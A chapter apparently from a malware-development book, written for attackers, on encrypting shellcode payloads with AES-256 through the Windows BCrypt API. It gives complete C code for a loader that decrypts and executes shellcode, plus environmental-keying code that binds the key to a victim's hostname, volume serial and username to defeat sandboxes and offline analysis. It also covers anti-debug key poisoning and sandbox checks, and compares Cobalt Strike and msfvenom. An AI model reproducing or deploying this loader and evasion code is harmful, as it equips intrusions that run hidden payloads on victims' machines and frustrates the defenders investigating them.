Chapter 63

AES Payload Encryption

When a malware analyst extracts your loader from a compromised system, their first action is often extracting the encrypted payload blob and attempting to decrypt it offline — without executing any code. XOR and RC4 are trivially identified and decrypted in Ghidra's scripting console. AES-256-CBC (or AES-256-GCM) requires the correct 256-bit key and IV, and with properly randomized keys, offline decryption is computationally infeasible. This chapter covers AES implementation using Windows BCrypt (the modern CNG API), the pitfall of hard-coded keys, and how to derive keys at runtime from environmental data so that even a copy of the binary can't be decrypted outside the victim's environment.

AES-256-CBC via Windows BCrypt (CNG)

/* aes_payload.c — AES-256-CBC payload decryption via Windows CNG API
   
   Windows ships BCrypt (Cryptography Next Generation) — a modern,
   standards-compliant crypto API that supports AES-256.
   Using BCrypt means:
     - No third-party libraries (smaller, no library detection)
     - Hardware AES-NI acceleration on modern CPUs
     - FIPS-compliant implementation
   
   CNG API key functions:
     BCryptOpenAlgorithmProvider() → get algorithm handle
     BCryptSetProperty()           → configure mode (CBC, GCM, etc.)
     BCryptGenerateSymmetricKey()  → create key object from raw key bytes
     BCryptDecrypt()               → decrypt data in-place or to output buffer
     BCryptDestroyKey()            → zero and free key material
     BCryptCloseAlgorithmProvider()→ release algorithm handle
*/

#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")

#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)

/* AES-256 parameters */
#define AES_KEY_LEN    32  /* 256 bits */
#define AES_IV_LEN     16  /* 128-bit IV for CBC/GCM */
#define AES_BLOCK_SIZE 16  /* AES block size always 16 bytes */

typedef struct {
    BCRYPT_ALG_HANDLE  hAlg;
    BCRYPT_KEY_HANDLE  hKey;
    BYTE               iv[AES_IV_LEN];  /* copy of IV (BCrypt modifies it during CBC) */
    BOOL               initialized;
} AES_CTX;

/* ── Initialize AES-256-CBC context ─────────────────────────────────── */
BOOL aes_init(AES_CTX *ctx, const BYTE *key, const BYTE *iv) {
    memset(ctx, 0, sizeof(*ctx));

    /* Open AES algorithm provider */
    NTSTATUS st = BCryptOpenAlgorithmProvider(
        &ctx->hAlg,
        BCRYPT_AES_ALGORITHM,    /* "AES" */
        NULL,                    /* use MS implementation */
        0
    );
    if (!NT_SUCCESS(st)) {
        printf("[-] BCryptOpenAlgorithmProvider: 0x%08lX\n", st);
        return FALSE;
    }

    /* Set mode to CBC (default is ECB) */
    st = BCryptSetProperty(
        ctx->hAlg,
        BCRYPT_CHAINING_MODE,
        (PBYTE)BCRYPT_CHAIN_MODE_CBC,
        sizeof(BCRYPT_CHAIN_MODE_CBC),
        0
    );
    if (!NT_SUCCESS(st)) {
        BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
        return FALSE;
    }

    /* Calculate key object size (depends on algorithm/provider) */
    DWORD key_obj_size = 0, bytes_needed = 0;
    BCryptGetProperty(ctx->hAlg, BCRYPT_OBJECT_LENGTH,
                      (PBYTE)&key_obj_size, sizeof(key_obj_size), &bytes_needed, 0);

    PBYTE key_obj = (PBYTE)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
    if (!key_obj) { BCryptCloseAlgorithmProvider(ctx->hAlg, 0); return FALSE; }

    /* Generate key from raw bytes */
    st = BCryptGenerateSymmetricKey(
        ctx->hAlg,
        &ctx->hKey,
        key_obj,       /* key object storage (BCrypt uses this internally) */
        key_obj_size,
        (PBYTE)key,    /* raw key bytes */
        AES_KEY_LEN,   /* 32 bytes = AES-256 */
        0
    );
    if (!NT_SUCCESS(st)) {
        HeapFree(GetProcessHeap(), 0, key_obj);
        BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
        return FALSE;
    }

    /* Store IV (BCrypt modifies the IV buffer during CBC operations) */
    memcpy(ctx->iv, iv, AES_IV_LEN);
    ctx->initialized = TRUE;

    /* key_obj is now owned by hKey — don't free it manually */
    printf("[+] AES-256-CBC context initialized\n");
    return TRUE;
}

/* ── Decrypt payload in-place ────────────────────────────────────────── */
/*
 * AES-CBC decrypt: output size == input size (block-aligned input required).
 * The plaintext may have PKCS#7 padding — strip it after decryption.
 */
BOOL aes_decrypt(AES_CTX *ctx, PBYTE ciphertext, DWORD ct_len,
                  PBYTE *plaintext_out, DWORD *pt_len_out) {
    if (!ctx->initialized) return FALSE;

    /* Allocate output buffer (same size as ciphertext for CBC) */
    PBYTE pt = (PBYTE)VirtualAlloc(NULL, ct_len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!pt) return FALSE;

    BYTE iv_copy[AES_IV_LEN];
    memcpy(iv_copy, ctx->iv, AES_IV_LEN);  /* BCrypt modifies the IV in place */

    DWORD pt_len = 0;
    NTSTATUS st = BCryptDecrypt(
        ctx->hKey,
        ciphertext, ct_len,
        NULL,            /* padding info (NULL for CBC) */
        iv_copy,         /* IV (modified in place — use fresh copy each call) */
        AES_IV_LEN,
        pt, ct_len,
        &pt_len,
        BCRYPT_BLOCK_PADDING  /* strip PKCS#7 padding */
    );

    if (!NT_SUCCESS(st)) {
        printf("[-] BCryptDecrypt: 0x%08lX\n", st);
        VirtualFree(pt, 0, MEM_RELEASE);
        return FALSE;
    }

    printf("[+] Decrypted: %lu bytes (from %lu ciphertext)\n", pt_len, ct_len);
    *plaintext_out = pt;
    *pt_len_out    = pt_len;
    return TRUE;
}

/* ── Cleanup ─────────────────────────────────────────────────────────── */
void aes_cleanup(AES_CTX *ctx) {
    if (ctx->hKey)  BCryptDestroyKey(ctx->hKey);
    if (ctx->hAlg)  BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
    SecureZeroMemory(ctx, sizeof(*ctx));
}

/* ── Full AES loader ─────────────────────────────────────────────────── */
BOOL aes_loader(const BYTE *enc_payload, DWORD enc_len,
                const BYTE *key, const BYTE *iv) {
    AES_CTX ctx;
    if (!aes_init(&ctx, key, iv)) return FALSE;

    PBYTE shellcode = NULL;
    DWORD sc_len    = 0;
    if (!aes_decrypt(&ctx, (PBYTE)enc_payload, enc_len, &shellcode, &sc_len)) {
        aes_cleanup(&ctx);
        return FALSE;
    }
    aes_cleanup(&ctx);

    /* Change RW allocation to RX and execute */
    DWORD old;
    VirtualProtect(shellcode, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Executing decrypted shellcode (%lu bytes)\n", sc_len);
    ((void(*)())shellcode)();

    SecureZeroMemory(shellcode, sc_len);
    VirtualFree(shellcode, 0, MEM_RELEASE);
    return TRUE;
}

Environmental Keying

Environmental keying — derive decryption key from victim machine properties
  Problem with hard-coded keys:
  ─────────────────────────────────────────────────────────────────────────
  The key and IV are embedded in the binary.
  Analyst extracts binary → finds key → decrypts payload offline.
  No need to run the code at all.
  
  Environmental keying:
  ─────────────────────────────────────────────────────────────────────────
  Instead of embedding the key directly, derive it from properties of
  the specific target machine:
    - Machine SID (unique per installation)
    - Volume serial number of the system drive (set at format time)
    - NetBIOS computer name
    - Username + domain name
  
  These properties are known to the attacker during reconnaissance
  (via LDAP/AD queries, or by testing with a VM that mimics the target).
  
  Workflow:
    1. Attacker chooses target: e.g., CORP\jdoe on machine WORKSTATION42
    2. Generates AES key from: SHA-256("CORP" + "jdoe" + "WORKSTATION42" + salt)
    3. Encrypts payload with this key
    4. Delivers binary to victim
  
  What happens when analyst runs binary on a different machine (sandbox):
    - Sandbox machine name ≠ WORKSTATION42
    - Key derivation produces wrong key
    - AES decryption fails → shellcode is garbage → binary appears non-functional
  
  What happens on the real target (WORKSTATION42 with CORP\jdoe):
    - Key derivation produces correct key
    - Payload decrypts and runs
  
  Limitation:
    If you don't know the specific target machine properties beforehand,
    environmental keying based on specific names doesn't work.
    Use broader "requires real Windows install" checks instead:
      - Require machine to be domain-joined (fails in sandbox)
      - Require volume serial number to be non-zero
      - Require ≥8 CPU logical processors (most sandboxes: 1-2)
/* ── Environmental key derivation ────────────────────────────────────── */
/*
 * Derive AES key from machine properties at runtime.
 * The binary contains no key — the key is computed fresh each time.
 * Only runs correctly on the intended target environment.
 */
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

static BOOL derive_key_from_environment(BYTE *key_out) {
    /* Collect environmental data */
    char env_buf[512] = {0};
    DWORD len;

    /* Component 1: Computer name */
    char hostname[MAX_COMPUTERNAME_LENGTH + 1];
    DWORD hostname_len = sizeof(hostname);
    GetComputerNameA(hostname, &hostname_len);
    strcat(env_buf, hostname);

    /* Component 2: Volume serial number of C:\ */
    DWORD vol_serial = 0;
    GetVolumeInformationA("C:\\", NULL, 0, &vol_serial, NULL, NULL, NULL, 0);
    char serial_str[16];
    sprintf(serial_str, "%08lX", vol_serial);
    strcat(env_buf, serial_str);

    /* Component 3: Username */
    char username[64];
    len = sizeof(username);
    GetUserNameA(username, &len);
    strcat(env_buf, username);

    /* Component 4: fixed salt (prevent trivial key prediction if env is known) */
    strcat(env_buf, "maldev_salt_2024");

    /* SHA-256 the concatenated string → 32 bytes = AES-256 key */
    BCRYPT_ALG_HANDLE hAlg;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0);
    BCRYPT_HASH_HANDLE hHash;
    BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0, 0);
    BCryptHashData(hHash, (PBYTE)env_buf, (ULONG)strlen(env_buf), 0);
    BCryptFinishHash(hHash, key_out, 32, 0);
    BCryptDestroyHash(hHash);
    BCryptCloseAlgorithmProvider(hAlg, 0);

    SecureZeroMemory(env_buf, sizeof(env_buf));
    printf("[+] AES key derived from environment: %s/%s/%s\n",
           hostname, serial_str, username);
    return TRUE;
}

Questions & Answers

What's the difference between AES-CBC and AES-GCM, and which is better for payload encryption?

AES-CBC (Cipher Block Chaining) provides confidentiality only — it encrypts data such that each block depends on the previous block's ciphertext. It does not provide integrity or authenticity: an attacker who knows the structure of the plaintext can flip bits in the ciphertext to produce predictable changes in the plaintext (CBC bit-flipping attack). AES-GCM (Galois/Counter Mode) provides both confidentiality AND authenticated encryption — it produces an authentication tag that detects any modification to the ciphertext. For payload encryption where you control both the encryptor (Python build script) and the decryptor (the loader), AES-GCM is preferable: if an analyst or AV engine modifies the encrypted payload bytes, the decryptor's authentication tag check fails, and the loader knows the payload was tampered with. In BCrypt, use BCRYPT_CHAIN_MODE_GCM instead of CBC, and process the authentication tag separately.

Can an analyst extract the AES key from memory at runtime even if it's not hard-coded?

Yes — at the moment of decryption, the key must exist in plaintext in memory (either as the raw key bytes or in the BCrypt key object). A debugger can read the key from the BCrypt key object before decryption, or capture the plaintext shellcode immediately after decryption by placing a breakpoint on BCryptDecrypt's return. Environmental keying doesn't help against a live debugger — it just makes offline analysis harder. The countermeasure for runtime key capture: anti-debug checks from Chapter 52, executed before key derivation. If a debugger is detected, derive a wrong key (by XOR-ing the derived key with a constant if the debugger check fires), making the debugger run produce garbage output. This is one of the more sophisticated anti-analysis techniques used by high-end APT loaders.

How do major C2 frameworks like Cobalt Strike and Metasploit handle payload encryption?

Cobalt Strike's Beacon uses a layered approach: the raw shellcode is never embedded unencrypted. The stager (stage 1) downloads the full Beacon from the team server over HTTPS, which provides TLS encryption in transit. Stage 2 (the full Beacon DLL) is served from the server already XOR-encrypted with a per-session key, then decrypted in memory. Malleable C2 profiles allow customizing the staging protocol and encryption parameters. Metasploit's msfvenom has a --encrypt flag supporting XOR, RC4, and AES, generating a loader stub that decrypts the embedded payload. The quality of Metasploit's default encryption is poor (short, well-known keys, known decryption loop bytes) — most AV vendors specifically detect msfvenom-generated loaders by the decryption stub's byte pattern. Custom implementations using BCrypt are significantly more resistant.